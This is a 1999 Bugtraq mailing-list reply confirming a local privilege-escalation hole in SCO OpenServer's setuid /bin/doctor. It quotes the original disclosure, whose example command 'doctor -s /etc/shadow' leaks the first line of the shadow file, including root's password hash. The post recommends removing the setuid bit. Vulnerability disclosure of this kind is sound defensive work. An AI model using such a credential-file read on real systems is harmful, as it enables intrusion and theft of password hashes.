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SCO OpenServer 5.0.5 /bin/doctor root compromise




Re: SCO OpenServer 5.0.5 /bin/doctor root compromise





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   Date: Ср, 08 сен 1999  22:31:57
  От: Seth R Arnold <sarnold@WILLAMETTE.EDU>
Кому: BUGTRAQ@SECURITYFOCUS.COM
Тема: Re: SCO 5.0.5 /bin/doctor local root comprimise
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confirmed to run under 5.0.4 as well.

On Fri, Sep 03, 1999 at 05:20:17PM -0500, Brock Tellier wrote:
> Greetings,
>
>
> INFO:
>  There is a local root comprimise in SCO 5.0.5's /bin/doctor 2.0.0e2 and probably others.  By supplying a doctor script file you can read the first partial line of any file on the system (good enough for /etc/shadow).  Example:
>
> scobox:/bin$ id
> uid=136(btellier),200(users)
> scobox:/bin$ uname -a
> SCO_SV scobox 3.2 5.0.5 i386
> scobox:/bin$ doctor -V
> doctor 2.0.0e 2
> scobox:/bin$ doctor -s /etc/shadow
> doctor: WARNING User message: invalid command name "root:xbfOLR0ekXN/o:10656::"
> scobox:/bin$
>
> And so on.
>
> FIX:
>  Just chmod -s until SCO comes out with a fix.  Although I certianly won't be changing it back to suid root anytime soon.  If a hole like this exists, there are undoubtedly countless more lurking within.
>
> Brock Tellier
> Systems Administrator
> Webley Systems

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